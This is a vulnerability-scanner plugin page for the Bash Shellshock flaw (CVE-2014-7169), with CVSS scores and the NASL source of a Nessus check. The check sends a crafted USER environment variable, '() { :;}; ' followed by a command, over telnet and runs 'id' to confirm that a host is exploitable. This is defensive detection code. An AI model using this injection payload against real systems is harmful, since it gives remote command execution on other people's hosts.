CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:L/Au:N/C:C/I:C/A:C
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
EPSS
Percentile
98.7%
The remote host is running a version of Bash that is vulnerable to command injection via environment variable manipulation. Depending on the configuration of the system, an attacker could remotely execute arbitrary code.
#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#
include('deprecated_nasl_level.inc');
include('compat.inc');
if (description)
{
script_id(77857);
script_version("1.21");
script_set_attribute(attribute:"plugin_modification_date", value:"2023/04/25");
script_cve_id("CVE-2014-7169");
script_bugtraq_id(70137);
script_xref(name:"CERT", value:"252743");
script_xref(name:"IAVA", value:"2014-A-0142");
script_xref(name:"EDB-ID", value:"34765");
script_xref(name:"EDB-ID", value:"34766");
script_xref(name:"EDB-ID", value:"34777");
script_xref(name:"CISA-KNOWN-EXPLOITED", value:"2022/07/28");
script_name(english:"GNU Bash Local Environment Variable Handling Command Injection via Telnet (CVE-2014-7169) (Shellshock)");
script_set_attribute(attribute:"synopsis", value:
"A system shell on the remote host is vulnerable to command injection.");
script_set_attribute(attribute:"description", value:
"The remote host is running a version of Bash that is vulnerable to
command injection via environment variable manipulation. Depending on
the configuration of the system, an attacker could remotely execute
arbitrary code.");
script_set_attribute(attribute:"see_also", value:"http://seclists.org/oss-sec/2014/q3/650");
# https://securityblog.redhat.com/2014/09/24/bash-specially-crafted-environment-variables-code-injection-attack/
script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?dacf7829");
script_set_attribute(attribute:"see_also", value:"https://www.invisiblethreat.ca/post/shellshock/");
script_set_attribute(attribute:"solution", value:
"Update Bash.");
script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C");
script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
script_set_attribute(attribute:"cvss_score_source", value:"CVE-2014-7169");
script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
script_set_attribute(attribute:"exploit_available", value:"true");
script_set_attribute(attribute:"exploited_by_nessus", value:"true");
script_set_attribute(attribute:"metasploit_name", value:'Apache mod_cgi Bash Environment Variable Code Injection (Shellshock)');
script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
script_set_attribute(attribute:"in_the_news", value:"true");
script_set_attribute(attribute:"vuln_publication_date", value:"2014/09/24");
script_set_attribute(attribute:"patch_publication_date", value:"2014/09/24");
script_set_attribute(attribute:"plugin_publication_date", value:"2014/09/25");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_set_attribute(attribute:"cpe", value:"cpe:/a:gnu:bash");
script_set_attribute(attribute:"stig_severity", value:"I");
script_set_attribute(attribute:"thorough_tests", value:"true");
script_end_attributes();
script_category(ACT_ATTACK);
script_family(english:"Gain a shell remotely");
script_copyright(english:"This script is Copyright (C) 2014-2023 and is owned by Tenable, Inc. or an Affiliate thereof.");
script_dependencies("find_service1.nasl", "telnet.nasl");
script_require_ports("Services/telnet", 23);
exit(0);
}
include("global_settings.inc");
include("byte_func.inc");
include("misc_func.inc");
include("telnet2_func.inc");
include("audit.inc");
include("data_protection.inc");
port = get_service(svc:"telnet", default:23, exit_on_fail:TRUE);
global_var rcvdata;
global_var cnt;
global_var two_output;
function local_telnet_callback()
{
local_var data, report;
data = _FCT_ANON_ARGS[0];
# Accumulate each byte as it's received.
if (data && ord(data[0]) != 0x00 && ord(data[0]) != 0x0d) rcvdata += data[0];
if ( 'Plugin output: 2' >< rcvdata && data[0] == '\n' )
{
two_output = rcvdata;
return -1;
}
if ( 'uid=' >< rcvdata && data[0] == '\n' )
{
report =
'It was possible to exploit this vulnerability by sending a malformed
USER environment variable to the remote server, which allowed us to
execute the \'id\' command:\n' + rcvdata;
security_hole(port:port, extra:report);
exit(0);
}
if ("login: " >< rcvdata || 'assword:' >< rcvdata )
exit(0, "The remote host is running a telnet server that is not configured to run a shell script on connect, and so it is not affected.");
}
# Set up the environment.
test_command = "echo Plugin output: $((1+1))";
env_data =
mkbyte(0) +
mkbyte(0) + "USER" +
mkbyte(1) + "() { :;}; " + test_command;
options = NULL;
options[0] = make_list(OPT_NEW_ENV, env_data);
cnt = 0;
# Connect and process options.
if (!telnet2_init(port:port, options:options, timeout:5*get_read_timeout()))
audit(AUDIT_SVC_FAIL, "telnet", port);
rcvdata = NULL;
two_output = NULL;
telnet_loop(telnet_callback_fn:@local_telnet_callback);
# Set up the environment.
test_command = "/usr/bin/id";
env_data =
mkbyte(0) +
mkbyte(0) + "USER" +
mkbyte(1) + "() { :;}; " + test_command;
options = NULL;
options[0] = make_list(OPT_NEW_ENV, env_data);
cnt = 0;
# Connect and process options.
if (!telnet2_init(port:port, options:options, timeout:5*get_read_timeout()))
audit(AUDIT_SVC_FAIL, "telnet", port);
rcvdata = NULL;
telnet_loop(telnet_callback_fn:@local_telnet_callback);
if (!isnull(two_output))
{
report =
'It was possible to exploit this vulnerability by sending a malformed
USER environment variable to the remote server, which allowed us to
execute the \'echo Plugin output: $((1+1))\' command:\n' + data_protection::sanitize_uid(output:two_output);
security_hole(port:port, extra:report);
exit(0);
}
audit(AUDIT_HOST_NOT, "affected");
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:L/Au:N/C:C/I:C/A:C
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
EPSS
Percentile
98.7%